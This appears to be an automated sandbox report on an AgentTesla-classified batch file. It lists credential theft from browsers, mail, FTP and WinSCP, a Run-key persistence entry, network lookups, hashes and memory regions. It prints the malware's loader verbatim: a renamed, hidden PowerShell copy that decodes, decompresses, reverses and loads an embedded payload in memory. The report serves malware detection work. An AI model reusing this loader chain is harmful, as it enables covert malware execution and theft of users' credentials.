Analysis Overview
SHA256
7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f
Threat Level: Known bad
The file 7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat was found to be: Known bad.
Malicious Activity Summary
AgentTesla
Sets file to hidden
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Reads WinSCP keys stored on the system
Reads data files stored by FTP clients
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Views/modifies file attributes
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: CmdExeWriteProcessMemorySpam
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-18 17:25
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-18 17:25
Reported
2024-06-18 17:28
Platform
win7-20240611-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Sets file to hidden
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Enumerates physical storage devices
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
Network
Files
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
| MD5 | 92f44e405db16ac55d97e3bfe3b132fa |
| SHA1 | 04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d |
| SHA256 | 6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7 |
| SHA512 | f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f |
memory/2728-5-0x0000000074B71000-0x0000000074B72000-memory.dmp
memory/2728-6-0x0000000074B70000-0x000000007511B000-memory.dmp
memory/2728-7-0x0000000074B70000-0x000000007511B000-memory.dmp
memory/2728-8-0x0000000074B70000-0x000000007511B000-memory.dmp
memory/2728-9-0x0000000074B70000-0x000000007511B000-memory.dmp
memory/2728-10-0x0000000074B70000-0x000000007511B000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-18 17:25
Reported
2024-06-18 17:28
Platform
win10v2004-20240611-en
Max time kernel
124s
Max time network
126s
Command Line
Signatures
AgentTesla
Sets file to hidden
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Reads WinSCP keys stored on the system
Reads data files stored by FTP clients
Reads user/profile data of local email clients
Reads user/profile data of web browsers
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Gcfbzna = "C:\\Users\\Admin\\AppData\\Roaming\\Gcfbzna.bat" | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2764 set thread context of 3952 | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| NL | 23.62.61.194:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.12.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.12.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.121.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.197.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
| MD5 | c32ca4acfcc635ec1ea6ed8a34df5fac |
| SHA1 | f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919 |
| SHA256 | 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70 |
| SHA512 | 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc |
memory/2764-5-0x00000000750FE000-0x00000000750FF000-memory.dmp
memory/2764-6-0x0000000001020000-0x0000000001056000-memory.dmp
memory/2764-7-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/2764-9-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/2764-8-0x0000000005370000-0x0000000005998000-memory.dmp
memory/2764-10-0x0000000004F70000-0x0000000004F92000-memory.dmp
memory/2764-11-0x0000000005010000-0x0000000005076000-memory.dmp
memory/2764-12-0x0000000005080000-0x00000000050E6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nafz1sn0.4t4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2764-18-0x00000000059A0000-0x0000000005CF4000-memory.dmp
memory/2764-23-0x0000000005F40000-0x0000000005F5E000-memory.dmp
memory/2764-24-0x0000000005F80000-0x0000000005FCC000-memory.dmp
memory/2764-25-0x0000000006F00000-0x0000000006F96000-memory.dmp
memory/2764-26-0x0000000006440000-0x000000000645A000-memory.dmp
memory/2764-27-0x0000000006490000-0x00000000064B2000-memory.dmp
memory/2764-28-0x00000000077A0000-0x0000000007D44000-memory.dmp
memory/2764-29-0x00000000083D0000-0x0000000008A4A000-memory.dmp
memory/2764-30-0x00000000072A0000-0x000000000770A000-memory.dmp
memory/2764-31-0x0000000007F20000-0x0000000008152000-memory.dmp
memory/2764-32-0x00000000081F0000-0x0000000008282000-memory.dmp
memory/2764-33-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-44-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-60-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-70-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-88-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-96-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-94-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-92-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-86-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-84-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-82-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-80-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-78-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-76-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-74-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-72-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-68-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-66-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-90-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-64-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-62-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-58-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-54-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-52-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-50-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-48-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-46-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-42-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-40-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-38-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-36-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-35-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-56-0x0000000007F20000-0x000000000814B000-memory.dmp
memory/2764-4920-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/2764-4921-0x0000000008290000-0x00000000082FC000-memory.dmp
memory/2764-4922-0x0000000008300000-0x000000000834C000-memory.dmp
memory/2764-4923-0x0000000008360000-0x00000000083B4000-memory.dmp
memory/3952-4929-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/3952-4928-0x0000000000400000-0x0000000000442000-memory.dmp
memory/3952-4930-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/2764-4931-0x00000000750F0000-0x00000000758A0000-memory.dmp
memory/3952-4932-0x0000000006CF0000-0x0000000006D40000-memory.dmp
memory/3952-4933-0x0000000006D70000-0x0000000006D7A000-memory.dmp
memory/3952-4934-0x00000000750F0000-0x00000000758A0000-memory.dmp